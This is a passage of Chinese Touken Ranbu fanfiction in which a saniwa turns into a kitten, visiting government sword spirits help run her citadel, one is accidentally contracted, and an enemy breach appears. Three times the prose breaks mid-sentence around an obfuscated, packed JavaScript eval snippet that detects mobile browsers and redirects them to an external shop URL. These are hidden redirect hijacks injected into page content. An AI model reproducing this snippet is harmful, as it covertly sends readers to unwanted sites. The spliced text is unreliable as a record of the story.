仅仅是站在门口就能感受到如此充沛的灵力,这还只是对他们这些没有契约关系的付丧神而言,对她自己的付丧神就更不用说了……嗯,该说不愧是被时之政府特殊对待的审神者吗,单从灵力来看确实不错。 “我闻到了……是猫的诅咒气息喵!”南泉一文字皱紧眉头在空气中嗅了嗅,随即往一文字则宗身后一躲。 “这么充沛的灵力,究竟是怎么产生的呢?看来这是一个很有趣的研究课题呢。” 南海太郎朝尊抚着下巴,走到本丸外面的不同距离,感受着灵力的变化。他围着外面与别的本丸不一样的花坛走了一圈,扒拉着掉在地上的落花落叶,同时还从怀里掏出纸笔记录着什么。 “喂,老师,不要什么都研究啊……也不要乱走!”肥前忠广一转眼就发现南海太郎朝尊快要走没影了,一把过去把他拉回来。 “哈哈,知道了知道了。” “好了,不要在这里傻站着了。”看着自己那群不靠谱的同事,山姥切长义无奈地叹了口气,上前按下大门旁边类似于门铃的装置。 这个装置能将来访者的信息传到本丸狐之助的铃铛里,再由审神者判断是否打开大门。如果审神者拒绝了他们的访问,那么一般来说就算他们用武力强攻也进不去。 不过……他们只是接受政府的命令来帮助维护这里的正常运行,虽然只是临时调令,政府也没告诉他们具体发生了什么。但是只有想要发起叛乱的话,才会被拒绝入内吧。在等待的时候,长义漫无目的地想。 然而,这一等就是二十分钟。 ?什么情况。 在门口的几人对视一眼,都从彼此的眼里看出一点凝重的神色。狐之助通常都是随时在审神者身边待命,从本丸内发出指令传达到门口一般也不会超过十分钟。所以现在……里面是怎么回事? 时之政府只派了他们几个人过来,所以应该不会是什么危险的事。政府那边也说有提前与这位审神者通知过了,那现在是什么情况? “哦呀,不会是审神者碰巧出门了吧?还是狐之助又跑到哪家油豆腐店,吃得忘记回来了?”一文字则宗漫不经心地摇着手里的折扇,一边猜测到。 长义仰头看了看天色,皱起眉头,拿出通讯器打算先向上面汇报一下情况。打出一段字还没点击发送,就听见门内传来吵吵嚷嚷的声音——主要是狐之助,还伴随着不同猫咪的叫声。 “等等咱啊,鸢尾大人!那个不行,不是玩的啊!髭切殿,左边左边——不要跳出去啊!” 伴随着铃铛的“叮铃”声,山姥切长义只来得及抬头,就看见阳光下一团小小的阴影向自己扑过来,然后……“啪叽”一声,准确无误地扒在自己脸上。 40.抓小猫与去加班 无妄之灾,真是无妄之灾…… 山姥切长义额角抽动,隐隐还听见旁边那群不靠谱的同事们憋笑的吸气声。 本来临时加班就烦——他倒要看看到底是什么东西,就那么精准地挑到怨气最重的人。 他一把就将趴在脸上软绵绵的不明物体薅下来。 是还没有巴掌大的一只蓝金渐层。脸很小,眼睛却大大的,短而蓬松的毛因为刚刚的跑动和跳跃变得有点乱。尾巴短短的,现在正乖巧地缠在他的大拇指上。就算被用这个不舒服的姿势抓着,它也没有乱动。像蜂蜜一样的蜜色眼睛圆滴溜地看着他,一只耳朵折成了飞机耳,另一只好像注意到长义不善的目光,在空中轻轻颤了颤。 ……真是,这样他还怎么生气嘛! 不自觉地就放轻了力气,长义换了一个姿势,把它端在手心。这时候他才注意到小猫嘴里还咬着一个铃铛,看样子应该就是这座本丸的狐之助的。 他轻轻拽了拽挂着铃铛的绑带,不敢用太大力气,生怕一不小心就把这个小不点捏扁了。但它倒也很听话,看到长义想要嘴里的铃铛,歪着头想了想,乖乖松了口,还朝他奶奶地叫了一声。 “咪~” 旁边围观的几把刀现在也围了过来,好奇地注视着这只小奶猫,连南泉一文字也偷偷从一文字则宗后面探出一个头。 “咣”还没等他们说什么,本丸的大门就被一把打开。他们似乎还担心着什么,门打开的虽然很快,却没有发出什么声音。 “鸢尾大人!”狐之助第一个跳出来,顾不上外面的几个付丧神,三两步就从长义身上爬上去,最后趴在离那只小猫不远的、长义的肩膀上,耐心地哄着那只小猫,“鸢尾大人,有没有受伤啊?” “哈?!” 周围几个时之政府的付丧神都有点莫名其妙。他们知道这个审神者的代号叫“鸢尾”,可是根据政府给他们的资料……她应该是个人啊? 还没等他们弄清楚,这座本丸的髭切就从里面走了出来,身后还跟着膝丸、不动行光等几个付丧神,都紧张地盯着他手心里的那个小不点。 “你还要捧着我们的审神者多久呢?”髭切软绵绵却不含笑意的声音传来,他朝小奶猫伸出手,看它被自己吸引,试探性地朝自己的手心闻了闻,放轻声音鼓励道,“没关系,不要怕。过来吧,我会好好保护你的哦。” 小猫咪看不懂周围的人脸上的一脸魔幻,只能闻到眼前的手心里有自己喜欢的味道,想了想,还是迈着自己短短的腿向他靠近,把自己安置在他的掌心。轻轻咬了一口他伸过来的指尖,发现没有味道,小猫咪嫌弃地把连牙印都没有的手指吐出来,撇开头,乖乖揣好自己的手就趴着不动了。 看到它终于愿意靠近他们,鸢尾几个仅有人形的付丧神也松了口气。偷偷采了大俱利伽罗种在部屋门口的猫草涂在手心的髭切笑而不语。 “所以……有人能给我们解释一下吗喵?而且为什么这里有这么多猫啊,喵!”旁边的南泉不小心瞥到门后面偷偷藏着的十几个猫猫头,震惊地喊出了声,“你们本丸为什么要养这么多只猫啊!” “嗯?我们也很想知道发生了什么呢……”鸢尾的付丧神和时政派来的刀把目光移到一言不发的狐之助身上。 把长义当成猫爬架还没来得及下来的狐之助:“……听、听咱解释?” —— 事情究竟为什么会变成现在这样呢?狐之助也想不明白。 昨天晚上,明明一切都还很正常。 几只被幸运选中,跟着鸢尾睡觉的刀猫早早就找好了自己在床上的位置,狐之助还是安心地住在鸢尾之前就为自己准备好的小窝里,等鸢尾洗漱完,他们就这样温馨又幸福地睡了个大觉,准备今天早点起来,迎接时之政府派给他们的帮手。 ……直到今天一早醒来,狐之助发现鸢尾不见了。 狐之助心神错乱,大惊失色,惊慌失措……咳咳扯远了,不过确实就是这样的心情。自从鸢尾上任以来,在她身上就已经发生了太多事了,导致现在狐之助只要一看不到她,就会开始脑补各种不好的事情——狐之助都打算向时之政府求助了。 好在它在旁边刀猫的提醒下,终于注意到被他们围在中间睡得正香的一只小奶猫。那只猫的体型和旁边的小夜猫以及萤丸猫差不多大,如果不是仔细辨别,在本丸现在这样和猫咖差不多的环境里,都要错认成是哪把短刀的变形了。 不过,根据那只小奶猫身上传来的灵力波动以及狐之助与鸢尾的契约感应,都在提醒着它——眼前的这只小猫就是鸢尾。 也就是说——鸢尾大人变成猫了。 哦,没丢就好,不就是变成猫…… 什么!鸢尾大人变成猫了?! 狐之助后知后觉地反应过来。怎么回事?时之政府不是说鸢尾大人的灵力波动反映到付丧神之后应该就不会有其他事了吗?所以现在又是什么情况…… 狐之助莫名其妙。狐之助不知所措。 它只能凑近睡得正香的小蓝金渐层,忽视周围的刀猫看它打扰鸢尾休息,想把它首落的眼神,推了推小猫,“鸢尾大人,您快醒醒啊,这究竟是怎么一回事啊……” 小猫睁开了眼,蜜色的眼睛还带着朦胧的睡意,懵懵懂懂地看向狐之助。在这样的眼神下,哪怕是狐之助也生出了扰人清梦的愧疚情绪。 啊啊啊,但是现在有更要紧的事!狐之助摇头甩开那些纷杂的想法,往小猫身边靠了靠,轻声把刚刚的问题又问了一遍。 世界上没有最糟糕的事情,只有更糟糕的事情。狐之助在下一刻终于明白了这句话的意思。 因为它终于发现了,鸢尾不仅身体变成了猫,和刀猫们不一样的是,她连思维好像也变成了猫!鸢尾猫迷茫但是听话地听它讲了几句,煞有其事地“咪咪咪”应了几声,然后就对它脖子上挂着的铃铛产生了莫大的兴趣,饶有趣味地用粉嫩嫩的肉垫拨弄着。 狐之助……狐之助还能怎么办呢?难道有人可以拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938579|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝一只还没有人的手掌大、还用水润的、可怜的目光盯着你,对着你“咪咪”叫的小奶猫吗?没有人可以拒绝,至少狐之助和周围的刀猫们都不能。于是它的铃铛就这么水灵灵地解下来给了鸢尾猫。 但是大家也没有想到已经变成猫的意识的鸢尾并没有以前那么稳重,她得到了铃铛,兴奋地咬在嘴里,接着就跳下床往门口一颠一颠地跑出去。她的体型太小,大家又一时没反应过来,等回过神来的时候,鸢尾猫就已经消失在门口了。 “等、等一下!”狐之助惊恐地瞪大眼睛,和几只刀猫一起连忙朝外面追去。 结果就是他们的动作惊动了其他的刀猫和几个还保持着人形的付丧神,在听到狐之助讲到鸢尾变成小猫跑丢了之后,一大群猫,一只狐狸和好几个人就在偌大的本丸里追起了一只小小的猫咪,并且成功把她吓到了,这才有了最开始长义他们见到的一幕。 “……呜,总之,事情的大概经过就是这样子啦。”狐之助有气无力地趴在桌子上。 “原来是这样……审神者、审神者也是中了猫的诅咒!我一定会找到方法帮她解开诅咒的喵!”南泉一文字用可怜的目光看着趴在不知道从哪里找出来的奶黄色小枕头上睡得正香的小蓝金渐层,握紧了拳头,慷慨激昂地发誓。 “不是猫的诅咒,只是她自己灵力紊乱的后遗症罢了。”旁边的山姥切长义支着头冷静地睨了他一眼,“所以杀猫君还是管好自己吧。” “都说了不是杀猫,是猫的诅咒啊喵!” 眼看着两人又要吵起来,一直兴味地打量着这位变成猫的审神者的南海太郎朝尊才终于回过神来,拉开两人。 “现在最要紧的还是尽快帮审神者恢复原样吧。听狐之助说的,她现在身体里可能更多的是猫的习性——而我们的任务是帮助维护本丸的运转。现在审神者无法正常决策,我们的任务可能就没办法继续开展了呢。” “刚刚已经向政府那边汇报了,他们说现在暂时没有别的办法,只能等她自行恢复了。”肥前忠广合上通讯器,手指在桌上不耐地敲了几下,“上面的意思是说,本来我们的短期任务可能要延长,在这里待到这位审神者重新变成人为止了。” “……” 这算什么?临时加班变成公费外出吗? 长义一想到多在这里待一天,回去就要多处理堆积一天的文件,顿时就是一阵心力交瘁。 而一文字则宗他们倒是没有太多的想法——南海太郎朝尊甚至还挺乐意的。对于审神者的灵力波动会导致自己甚至有契约关系的付丧神变成猫这件事,他还是第一次见到,能留在这里多研究一点,说不定对于灵力和刀剑会有新的收获。 “既然如此,接下来就要麻烦你们了呢。”髭切在旁边听完全程,笑眯眯地补充道,“正好现在本丸就只有我们六个拥有人的身体,内番和远征出阵什么的也不得不辛苦你们来帮忙了……” 对上他轻飘飘的目光,来自时之政府的五人纷纷感觉背后一寒。 41.意外与契约 于是,接下来几天,为了让来自时之政府的监察官们充分了解本丸、体验本丸的生活,髭切和不动行光几人为他们安排了包括但不限于畑当番、厨当番、万屋采购等本丸特色家务活以及远征、出阵等“能让监察官更深入了解本丸实力”的活动。 在政府处理文件、听上层画饼打太极与在本丸做体力活、打时间溯行军到底哪个更累一点……众人表示,是不一样的累法。 “话说……我们为什么要做这些啊?” 肥前忠广将锄头用力铲进土里,拿起挂在肩膀上的毛巾擦了擦汗,刚转过头去,就看见本该和他一起畑当番的一文字则宗不知道什么时候跑到了廊下,现在正坐着慢悠悠地喝茶。 注意到肥前忠广无语的目光,一文字则宗发出像老头子一样的笑声,“哈哈,能在廊下喝茶真不错呢,如果今天阳光好一点、有团子搭配就更好了。” 他拿起自己不离手的折扇摇了摇,不慌不忙地问道,“怎么这么看着我?你也想喝吗?” “……你觉得我看起来是想喝茶的样子吗?” “别在意别在意,毕竟我是个老头嘛,干这么久的农活不休息一下的话腰可是会受不了的。”他放下茶杯摆摆手。 “偶尔体会一下不一样的生活还是不错的,如果能不做这么多体力活就更好了。不过……即使没有契约,在本丸内也能平等的被灵力滋养吗……哈哈,小子们不会好奇这座本丸的主人究竟是个什么样的人吗?” 肥前忠广沉默了一下。 说不好奇……是不可能的吧。在时之政府的时候就常常听说过这位审神者的事迹,在来到这里之后—— 他轻轻攥住自己的手。 或许从诞生起就一直待在这里,没有去过其他本丸的付丧神不一样,作为为政府工作的刀,他们曾经去到过很多不同的本丸。受到审神者性格或是灵力掌控程度的影响,不同本丸的灵力都会给他们带来体感上的区别,不变的是对没有契约的他们的隐隐排斥。 但这里不太一样。灵力肆意地在空中飘荡,浓稠得仿佛一握就能留在手心。按理说,审神者的灵力越强,为了自我保护,对身处本丸却不是自己的刀剑的排斥也会越强。可是…… 他们已经在这里待了两三天了,萦绕在他们身周的灵力却始终温和地包围着他们,甚至还能少量的被他们吸收。就像劳累了一天的人泡进暖洋洋的温泉,每一个毛孔都在叫嚣着舒适——在这座本丸,这是他们每个人的共同感受,在贴近那只还没有他一只手长的小猫咪的时候尤甚。 ……不过这也不是老师最近一有空就往那位变成猫的审神者附近凑的原因。因为这个,感觉这座本丸的付丧神每天派给他们的任务都更重了啊…… “所以赶紧来帮忙,不要再偷懒了!” —— 在有人形的刀忙忙碌碌的时候,刀猫这边倒是一片静好。 鸢尾在变成猫之后,虽然很亲人,但还是更喜欢和同样是猫的体型的刀猫们待在一起。能和主人贴贴——尽管她现在只是猫的形态,没有人的记忆——不过就算这样,对于从化形起就亲近主人的付丧神来说怎么看都是一件幸福的事情。 付丧神虽然变成了刀猫,摆脱不了一些猫的习性,但本质思维还是保留着人的意识。所以……虽然他们是猫,但完全不妨碍他们撸猫嘛! 由于短刀猫的体型和鸢尾差不多大,所以通常由他们带着鸢尾猫一起玩,消耗她的精力。小蓝金渐层性格温和,这点倒是和鸢尾以前一样。不过小动物们大多都保留着对世界的好奇与探索,这点她也不例外。 窗外的一只蝴蝶,路边的一株小花,甚至是天上慢悠悠飘过去的一朵白云都会激起她的兴趣,引着她眨着蜜色的眼睛、迈着小短腿灵巧地凑过去。她的体型太小了,躲在草堆里就会被旺盛生长的小草所隐藏,几位身材高大一点的付丧神更是时时担心会不会一不小心就踩到她。 这时候短刀刀猫就会围着她,在旁边陪着她探索感兴趣的每一个东西。等她玩累了就把她拱在中间往回运,不需要她出一点力。 体型大一点的猫会自觉地在她睡着的时候帮她梳理着短短又蓬松的毛发,阳光洒在小猫咪的身上,毛毛好像也在发着光。有时候不小心把她吵醒了,还会被她小小的猫猫头轻轻撞一下,以示惩罚。 偶尔,大家也会突然收到来自小猫咪的礼物——无论是猫形还是人形,无论是本丸的刀亦或是她没有见过几次的政府刀。小小的一团猫咪会突然刷新在本丸的某个角落,撞见的幸运刀可以随机从小猫咪身上获得一朵漂亮的小花、一颗好看的石头、或是…… “等、等一下啊主人!那个不可以啊——” 今天的小猫咪偷偷潜伏在锻刀室,咬住一张她之前留下的、带有她的灵力的委托符,一下子就跑没了影。 因为她的体型太小,熟悉的灵力又与本丸的气息合在一起,所以今天负责完成锻刀日课的不动行光刚开始并没有注意到这里偷偷藏着一只小猫咪。等到他放完锻刀材料,转头发现桌子上的委托符少了一张,才反应过来是鸢尾猫的杰作。 担心她乱跑撞到或踩到什么,不动行光也不敢追的太紧,只能坠在她身后,一边寻找着周围可以帮忙的人。 “等一下,不要上去!” 小猫咪不听。 小猫咪三两步爬上了万叶樱。然后…… 小猫咪下不来了。 “嗯?这是在干什么?” 刚刚完成畑当番的一文字则宗和肥前忠广恰好路过这里,看到不动行光慌慌张张地站在万叶樱下面,抬着头对着上面不知道在说些什么。他们对视一眼,走过去看看情况。 到了冬天,本丸的万叶樱也不再开花了。虽然也掉了不少叶子,但此时树上还有一些窸窸窣窣的枯叶挂着。凑近了,他们才发现原来是审神者猫不知道什么时候跑了上去。 “你们来得正好!”不动行光松了口气,“可以麻烦你们在下面稍微看一下吗?我上去接她下来……” 鸢尾猫的位置距离地面还是有一段高度的。不动行光怕他贸然上去会把猫咪吓到,要是她跳下来,下面又没人能接住她的话就太危险了…… 看到他们两人都点了点头,不动行光放下心来,小心地沿着树干往上爬。他时刻紧盯着鸢尾猫的动作,还好猫咪很乖,知道他是在帮自己,乖巧地趴在树干上不动。 “就快接到了……” 不动行光朝猫咪小心地移动,他们之间不过只剩半个手臂的距离。 就在他快要碰到的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958336|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然刮起了一阵大风。小小的一团猫咪只来得及发出“呜”的一声,就像落叶一样被风往地上拍去。 “主人!”不动行光捞了个空,瞳孔骤缩,稳住身形紧忙往下面看去。 ……还好在下面的肥前忠广和一文字则宗一直关注着他们,看到鸢尾猫落下来,及时地伸出了手。 小猫像一团暖洋洋又软绵绵的白云轻飘飘地落进了肥前忠广的掌心。 “呼——”看到小猫平安无事,他们三人都不自觉松了口气。 “哈哈,可真是调皮啊。”一文字则宗凑过来,点了点小猫咪粉嫩的鼻尖。不动行光也失笑着从树上下来。 不知道是因为刚刚的那阵狂风,还是因为一文字则宗突然的动作,小猫咪忍不住打了个喷嚏,一直咬在嘴里的委托符也跟着飘落在肥前忠广的手里。 “嗯?”肥前忠广捡起委托符,下一秒,一阵金光闪过,符咒消失在他手里。 “主人,你没事吧,过来我看看……” 恰好错过的不动行光从树上跳下来,向肥前忠广伸出手,打算将鸢尾猫接过来好好检查,却迟迟不见他有动作。不动行光艰难地把目光从小猫身上移开,狐疑地抬头看了他们一眼,才发现面前的两个人不知道为什么都僵住了。 “为、为什么……”许久,肥前忠广的声音里带着不自觉的颤抖和崩溃,“为什么我被契约了啊?!” 小猫咪被他吓了一跳,但又看不懂发生了什么,最后懒洋洋地打了个哈欠窝在他手心里,徒留三个人面面相觑。 —— “喂老师,到底怎么样了……” 看着眼前拿着各种仪器在自己身上检测的南海太郎朝尊,肥前露出一脸黑线。话说……这么多仪器,究竟是什么时候拿过来的啊? 南海太郎朝尊推了推眼镜,将桌上乱七八糟的东西收起来,“就是你想的那样,肥前。” “哈?!”肥前额角的青筋蹦了蹦,忍不磨了磨牙,在桌子上没心没肺睡得正香的小猫身上戳了几下,“她现在不是一只小猫吗?怎么能和我订契?” “额……或许是因为委托符?那个本来是我用来唤醒新锻的刀的,上面有主人提前注入的灵力……”听他们讲述了自己刚刚错过的一幕,不动行光愧疚地挠了挠头,“抱歉,我不知道会发生这样的事情,没有提前和你们讲清楚……” “啊,也不是你的问题……”这也是他第一次遇到这样的情况。 “我们身上有和时之政府的临时契约,正常情况下触碰到带着审神者灵力的委托符都是没事的。”南海太郎朝尊在旁边补充道。 只是没想到在这里就遇到了不正常的情况。 “那现在怎么办?” 小猫身上软软的,戳上去的时候还会不自觉发出哼唧唧的声音,就像一个声控捏捏。肥前一没控制住就多戳了几下,差点把她戳醒,注意到旁边不动行光一眼不眨盯着他的目光,轻咳一声才假装自然地收回手。 “现在……就只能等审神者大人恢复过来再说了。”南海太郎朝尊也叹了口气,不过很快揶揄地看了肥前一眼,“不过这样阴差阳错的,到时候如果可以选择,肥前是打算维持契约呢还是——” …… 肥前忠广陷入沉默。 42.猫与小鱼干 不过鸢尾猫倒是一直没有要恢复的迹象,还是每天吃饱了睡、睡饱了就在本丸和刀猫一起到处冒险,玩累了就随地大小躺,然后迷迷糊糊地被大一点的猫载回去,哦,有时候还会被出门时刻小心翼翼关注脚下的付丧神们发现。 “咪呜~” 今天的鸢尾猫趴在南泉一文字肩上伸了个懒腰,把自己当成一条软软的小围巾。不知道是不是因为他身上也有猫的气息,鸢尾猫平时也很喜欢粘着他。 南泉一文字今天和山姥切长义一起负责本丸日常生活用品的采购,所以他们得去万屋一趟——顺便一提,他们用的还是自己的工资。 因为没有审神者的手令,本丸的小判之类的资金是取不出来的。所以为了维持本丸的正常运作,鸢尾的其他付丧神们以及其他几把政府刀都出阵或是远征去了,本丸现在只有一群猫、他们两个以及大典太光世在。 不过大典太因为担心吓到猫,已经自己躲进厨房去准备午餐了。其他的猫们也不知道干什么去了,一个个都不见踪影。偌大的本丸一时也显得有些寂寥,只剩今天还不错的阳光清闲地照着。 唉……什么倒贴上班啊…… 看着兴致勃勃的南泉一文字围着小猫围脖,正在罗列着要购买的东西,肩上的小猫明明听不懂,还有一句应一句的……无法领会到他们的开心和激动,山姥切长义叹了口气。到时候还要找万屋开个发票——政府应该会给报销吧? “我们要带着审神者一起去吗?”思绪被打断,南泉突然转过来朝他问道,小猫咪也用蜜色的水润猫瞳可怜巴巴地盯着他,“本丸现在没人能照顾她,让她自己一只猫到时候又不知道会跑哪里去喵……” “……想带就带上吧,不过先说好,杀猫君得照顾好她,要是把她弄丢了——”长义眯了眯眸子没有继续说下去,不过南泉也懂得了他的未尽之意。想到那个可怕的场景,忍不住抖了抖。小猫疑惑地看着突然打了个冷颤的人类,又向他贴的更紧了些。 “那、那我找个绳子把我们系起来,这样总不会丢了吧,喵!”南泉灵光一现,将拳头砸进手心,觉得自己想到了一个绝妙的方法,又干劲十足地带着小猫找绳子去了。 “……” 长义看着他的背影,头痛地闭上了眼睛。算了,反正他也问过了,今天万屋的人没有很多,两个人看着总不至于把一只小猫看丢。 …… 结果……还真绑在一起了啊?! 看着南泉一文字挂在手腕上的那条红绳,再看向另一边浑然不觉,还在摆弄着比她还大的同一个颜色毛线团的审神者猫,长义抽动着嘴角,一副欲言又止的表情。 “哼,怎么样,你也觉得这个办法很不错吧!”南泉沾沾自喜,晃了晃手腕,另一边小猫的爪子也被他拉着晃了晃,“本丸里居然有那么多毛线团,我就选了一个最显眼的颜色,审神者看起来也很喜欢喵……” 真是没救了……要是审神者恢复之后还保留着猫的记忆,你就等着被算账吧。 长义心累地摇了摇头,吞下了嘴里的话,“快走吧,趁现在人还不多——过了下午万屋的人就会渐渐多起来了……” 闻言,南泉赶紧抱起鸢尾猫跟在后面,长义上前调好去万屋的坐标,金光闪过,两人一猫就在本丸里消失了。 —— “喵,好香……” 刚睁开眼睛,南泉就闻到一股诱人的香味,他怀里的小猫也抬起头,学着他的样子在空气里一阵乱闻,就像一只会动的珍袖小猫手办。 见周围路过的审神者们都盯着那一人一猫,一幅“被萌死,想偷猫”的表情,而旁边的两个家伙还是一副心大的样子,长义叹了不知道今天的第几口气。 刚想说点什么把这两个家伙赶紧拉走,一人一猫的眼神就飘到了旁边一位审神者的身上。见自己被两只“猫”盯着,审神者露出一个幸福的表情,不顾旁边跟随着她的堀川国广迟疑中带着点慌乱的眼神,提着一个纸袋子就向他们靠过来。 “咪~”她走近的时候,袋子里的香味越发浓郁,鸢尾猫也忍不住被吸引,对着那个审神者发出可爱的小猫声。 “哎呀,猫猫是不是想吃小鱼干呀?我拿给你吃好不好……” 审神者从来没有觉得自己的声音居然可以这么温柔,但现在她的心已经掉进这只小蓝金渐层的蜜色眼睛里了,完全顾不上其他的什么——小猫咪在这么多人里只对我叫,这说明什么?这说明她想要和我回家! 天杀的,她一眼就看出来这是她失散多年的亲生猫咪,不过一袋小鱼干,小猫咪想要吃多少都是没问题的…… “呃,主、主人!”她身后的近侍堀川国广及时上前一步拉住了她往纸袋子里掏的手,附在她耳边小小声地提醒,“那个……您还记得这是本丸的南泉君托您买的……” 对哦。 审神者突然回过神来,想起自己本丸里的南泉一文字在她出来前期待的表情。她心虚地看了一眼眼前抱着小奶猫的南泉一文字,他现在也两眼放光地盯着她的纸袋子,倒是没有注意到她与堀川的交流。 山姥切长义站在旁边抱着臂,注意到审神者的犹豫,便上前一步,“审神者大人,可以问一下您的这一份鱼干是在哪里买的吗?如果方便告诉我们的话,我们待会也想去试试看呢。” “啊,就是在沿着这条路一直走,走到尽头的地方,那边只有一家买小鱼干的店,你们靠近应该就可以看到了。”那位审神者向他们指了路,纠结片刻,还是从袋子里拿出了三条小鱼干要递给他们,“其实一份的量也不少,你们要不……” 油炸小鱼干被从袋子里拿出来,咸香的味道瞬间俘获了两只猫。南泉深吸一口气,恋恋不舍地将目光从炸得金灿灿的小鱼干上挪开,“不、不用了,谢谢审神者大人喵!这么美味的小鱼干,还是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989299|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完整的一份吧……” 他转头戳了戳长义的后背,“快,我们先去买小鱼干!快点快点快点——” 鸢尾猫也乖巧地没有动,眨巴着蜂蜜一样晶莹的眸子,主动把自己软软蓬松的头向那位审神者没有拿小鱼干的手送了送,然后又用纯真的眸子盯着她,就像在等待着她的夸奖。 啊啊啊啊啊—— 猫咪,小猫咪主动蹭我了! 审神者呼吸一窒僵在原地,心里已经炸成了一朵烟花。 没有被小奶猫主动撒过娇的人是不会懂我现在的感受的……对了,猫猫还在等我夸它,要怎么夸?说“你好棒”好像有点太普通了。可恶,死脑子倒是快想啊,平时学的彩虹屁怎么关键时刻一点也放不出来…… 她在心里刷屏的时候,长义被南泉催促的不耐烦,向他们打了个招呼就把两只猫带走了。而她晕晕乎乎地和他们告别,恍恍惚惚地和自家近侍踏入传送阵,直到看见本丸里扑上来的南泉一文字时才惊醒——对了,忘记问他们的本丸编号了!刚刚对猫猫还没有夸出口,那以后要怎么见到它啊?! 而另一边,根据她刚刚的指路,长义和南泉顺利找到了那家小鱼干店。 “居然藏在这么隐蔽的地方喵,难怪我之前都没发现……” 坐在店铺的座位上,南泉一边感叹一边急速朝着刚出炉的小鱼干吹气,迫不及待希望它温度低一点,自己能早点吃上。蹲在桌子上的鸢尾猫倒是没有他那么怕烫,正小口小口啃着一只跟自己差不多大的鱼。 看她啃了半天只把这条炸鱼啃出一点皮外伤,长义支着头好笑地观察着,好奇她什么时候能把这条鱼吃完。 不过她埋头啃了一会儿,突然又把吃得花花的嘴巴抬起来,短短地胡须翘了一下,迷茫朦胧地迈着四条小短腿就要往桌子下面跳。 “诶诶,干嘛去,怎么吃了一点就要走?”长义及时伸出手捞住了她,把她放回桌子上,特意把刚刚吃的小鱼干端回她面前。 “咪呜。”鸢尾猫轻轻叫了一声,没看小鱼干,又挣扎着要从桌子上下去。 “怎么回事啊喵,难道是鱼干太大了,她不想吃了吗?”如愿以偿咬着小鱼干的南泉也注意到了鸢尾猫的动静,从盘子里抬头,模糊不清地猜着。 好像有点不太对劲……又拦了几次,看着她还是固执地准备跳下去,长义皱紧眉头。看她每次想要跳下去,都是朝着同一个方向——是有什么吸引了她注意的东西吗? 顺着她的目光望去,长义和南泉对视一眼,都没有看出什么异样。 与鸢尾猫绑在一起的红绳随着她的动作上下不停晃荡着,想了想,南泉放下手里香喷喷的小鱼干,“要不我们还是去看一眼吧喵?” 长义点头,顺手拿起旁边的纸巾给鸢尾猫擦了擦嘴,将她揣在怀里。 “请指路吧,审神者大人——去看看有什么让你这么在意的。” 43.敌袭与支援 顺着鸢尾猫的目光一直走,长义和南泉来到这条小路的尽头。 “好像……也没有什么奇怪的地方喵?!”南泉左右转头张望着,但是却找不到什么吸引了鸢尾猫目光的东西。 路的尽头就是普通的一堵墙,花岗石的纹路凹凸不平地横亘在墙面上,在墙与地面的交接处,不知道是不是因为雨水和潮湿,长了零星几团青苔。南泉上前在墙面上扣了扣,又拍了拍手将被扣下来的粗粝碎屑抖落。 “喵?”鸢尾猫被长义从怀里抱出来,软绵绵的身子像面条一样在空中晃了晃。 “所以说呢,审神者大人?这里有什么奇怪的地方吗?” 见猫猫只是迷茫地歪头盯着他,长义顿了一下,又一把将她塞回南泉怀里,无奈地揉了揉额角,“真是的……语言不通还真麻烦啊——还是杀猫君来和她沟通吧。” “啊?!”南泉手忙脚乱地接住突然落进自己怀里的那团软绵绵,与鸢尾猫面面相觑。 两只猫你望着我,我望着你,眨了眨眼,然后又一起将无辜迷茫的眼神转到旁边抱臂的长义身上。 被这样同步的眼神盯着,长义的眼睛变成半月眼。 ……是他想错了,这根本就不是语言的问题。 “算了,没有什么特别的就走吧。”他伸手接过猫猫往回走。为了更方便抱她,长义顺便把她和南泉一直绑着的红色毛线解开,“杀猫君收好了,待会吃完……” 话还没说完,他听到身后仿佛传来什么东西破裂的声音。下意识把猫塞进怀里,长义停住脚步转过头,听觉更灵敏一些的南泉也已经同样望向发出声音的地方——他们刚刚看过的路尽头那堵墙。 “不会是我刚刚把墙扣裂了吧,喵……” 听到南泉的碎碎念,长义扯了扯嘴角,刚准备开口嘲讽一下他的异想天开。还未说出口,下一秒两人的脸色立刻变得凝重起来。 晦涩阴暗的扭曲黑气从墙面上与花纹混在一起的裂缝中钻出,像蚯蚓一样纠结缠绕,进一步将这堵墙侵蚀。伴随着像玻璃破裂一样的“咔嚓”声,这堵墙承受不了重量一般微微晃动,仿佛下一秒就要原地坍塌。 不对——这样的气息,是……时间溯行军? 可是时间溯行军怎么会出现在这里!长义与南泉对视一眼,都从彼此的眼里看出了凝重的神色。 